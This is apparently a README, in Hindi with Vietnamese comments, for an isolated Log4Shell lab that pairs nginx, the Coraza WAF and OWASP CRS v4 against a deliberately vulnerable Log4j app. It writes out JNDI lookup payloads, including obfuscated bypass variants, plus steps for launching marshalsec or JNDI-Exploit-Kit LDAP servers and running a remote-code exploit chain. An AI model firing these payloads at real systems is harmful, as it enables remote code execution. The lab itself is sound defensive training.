
Log4Shell (CVE-2021-44228) रक्षा लैब — nginx + Coraza WAF डायनेमिक मॉड्यूल + OWASP CRS v4. केवल शैक्षणिक उपयोग के लिए।
शैक्षिक / रक्षात्मक उद्देश्य: इस लैब में जानबूझकर असुरक्षित (vulnerable) ऐप (Log4j 2.14.1) और JNDI एक्सप्लॉइट किट शामिल हैं, जो केवल पृथक वातावरण में Log4Shell का पता लगाने और उसे ब्लॉक करने का तरीका सीखने के लिए हैं। इसे इंटरनेट पर डिप्लॉय न करें, और इसका उपयोग उन सिस्टमों पर हमला करने के लिए न करें जो आपके नहीं हैं।
यह लैब nginx में एकीकृत Coraza WAF (डायनामिक मॉड्यूल) + OWASP CRS v4 + कस्टम JNDI नियमों के साथ Log4Shell (CVE-2021-44228) की रक्षात्मक अभ्यास प्रयोगशाला है। इसमें असुरक्षित Spring Boot टार्गेट कंटेनर, Kali attacker-box, तथा अवलोकन के लिए Suricata + Wazuh शामिल हैं।
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│ ├── nginx-proxy ← entrypoint :80/:443, có Coraza module + CRS v4
│ ├── attacker-box ← Kali + JNDI exploit kits
│ └── suricata-ids ← sniff dmz traffic
│
└── backend-net (172.22.0.0/24, internal: true)
├── nginx-proxy ← second NIC
├── log4shell-app ← Spring Boot Log4j 2.14.1
├── wazuh-manager ← SIEM
└── wazuh-dashboard ← UI
Request flow: client → nginx (Coraza inspect) → log4shell-app. WAF nginx के अंदर चलता है (मॉड्यूल ngx_http_coraza_module.so के माध्यम से), अलग कंटेनर में नहीं।
| आइटम | न्यूनतम संस्करण |
|---|---|
| Docker Desktop / Engine | 24+ Compose v2 के साथ |
| खाली RAM | 4 GB (Wazuh ~1.5 GB उपयोग करता है) |
| खाली डिस्क | 6 GB (image build artifact) |
| पहली बार build का समय | 10–15 मिनट (libcoraza + nginx मॉड्यूल + Maven attacker उपकरण) |
cd /path/to/log4shell-nginx-coraza
docker compose build
सबसे धीमा स्टेज nginx है (Go 1.25 के साथ libcoraza v1.4.0 बनाना, फिर coraza-nginx मॉड्यूल कंपाइल करना)। पहली बार के बाद कैश हो जाता है।
docker compose up -d
docker compose ps
~30 सेकंड बाद, अपेक्षित स्थिति:
| Service | STATUS |
|---|---|
nginx-proxy | Up (healthy) |
victim-app | Up |
kali-attacker | Up |
wazuh-siem, wazuh-web | Up |
suricata-ids | हो सकता है Restarting (देखें धारा 8 — लैब नहीं रुकती) |
# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"
# qua WAF tới app (endpoint thật của log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"
curl http://localhost/ बिना X-Api-Version हेडर के 400 लौटाएगा — यह Spring Boot whitelabel त्रुटि है (कोई handler नहीं), WAF द्वारा ब्लॉक नहीं।
# JNDI trong User-Agent → rule 1910010 fire, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/
# JNDI trong header app log: X-Api-Version → rule 1910001 (header+arg) fire, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/
# JNDI trong query string → CRS phase 1 chặn
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'
अपेक्षा: HTTP/1.1 403 Forbidden, बॉडी <html>... 403 Forbidden ... nginx ...</html>।
# Lower trick (rule 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/
# Colon-dash-dash (rule 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
http://localhost/api/log
# → 403 (rule 1910026: Content-Type=json + body chứa jndi)
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
try:
d=json.loads(ln)
t=d['transaction']
ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
st=t['response']['status']
for m in t.get('messages') or []:
print(f'{st} {ua} :: {m[\"error_message\"][:160]}')
except: pass
"
प्रत्येक इवेंट JSON Lines प्रारूप में है, जिसमें:
transaction.is_interrupted: true → WAF ने ब्लॉक कियाmessages[].error_message → कौन सा नियम लागू हुआ, कौन सी फ़ाइल और लाइन, गंभीरताdocker exec nginx-proxy tail -f /var/log/nginx/access.log
ब्लॉक किए गए अनुरोधों को फ़िल्टर करें:
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'
./logs/nginx/ ← access.log, error.log
./logs/coraza/ ← audit.log (JSON), debug.log
डिफ़ॉल्ट रूप से
backend-netinternal: trueपर सेट है औरattacker-boxकेवलdmz-netमें है, इसलिए log4shell-app attacker-box तक नहीं पहुँच सकता। JNDI श्रृंखला को end-to-end काम करने के लिए पहले चरण 6.0 करें।
docker-compose.yml संपादित करें, attacker-box को backend-net में जोड़ें:
attacker-box:
networks:
- dmz-net
- backend-net # <— thêm
या log4shell-app को dmz-net में स्थानांतरित करें (सरल है लेकिन सेगमेंटेशन सीखने का मूल्य कम करता है):
log4shell-app:
networks:
- backend-net
- dmz-net # <— thêm
लागू करें: docker compose up -d (Compose उसी कंटेनर को पुनः बनाएगा)।
docker exec -it kali-attacker bash
cd /opt/exploits
# Option A: marshalsec — đơn giản, chỉ relay LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2
# Option B: JNDI-Exploit-Kit — full toolkit, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit
सर्वर LDAP :1389 और HTTP :8888 पर सुनता है (compose में होस्ट पर पहले से expose किए गए हैं)।
# Từ attacker-box, gọi thẳng log4shell-app trên backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/
जाँच करें:
# Pwned marker được tạo trong app container
docker exec victim-app ls -la /tmp/pwned
यदि फ़ाइल दिखती है → एक्सप्लॉइट श्रृंखला ठीक है, ऐप अभी भी असुरक्षित है, और मुख्य मार्ग से जाने पर WAF बायपास नहीं होता।
# Đi qua nginx (đường chính public)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, KHÔNG có /tmp/pwned mới
फ़ाइल ./coraza/config/log4shell-rules.conf को nginx में /etc/nginx/coraza/log4shell-rules.conf पर :ro माउंट किया गया है। संपादन के बाद:
docker exec nginx-proxy nginx -t # syntax check
docker exec nginx-proxy nginx -s reload
यदि Coraza पार्सिंग त्रुटि देता है (failed to compile the directive...), workers बाहर निकल जाएंगे और nginx -s reload उन्हें पुनः स्पॉन नहीं कर सकता। उस स्थिति में:
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log
इनक्लूड क्रम (nginx/coraza/main.conf में, जो इमेज में bake किया गया है):
SecRuleEngine On, ऑडिट लॉग, डीबग लॉगcrs-setup.conf — tx.*_anomaly_score, थ्रेशोल्ड प्रारंभ करता हैowasp-crs/rules/*.conf — संपूर्ण CRS v4.7.0log4shell-rules.conf — कस्टम नियम (होस्ट से माउंट किया गया)कस्टम नियम ID रेंज: 1910001 – 1910999 (CRS रेंज 900000–999999 से बचें)।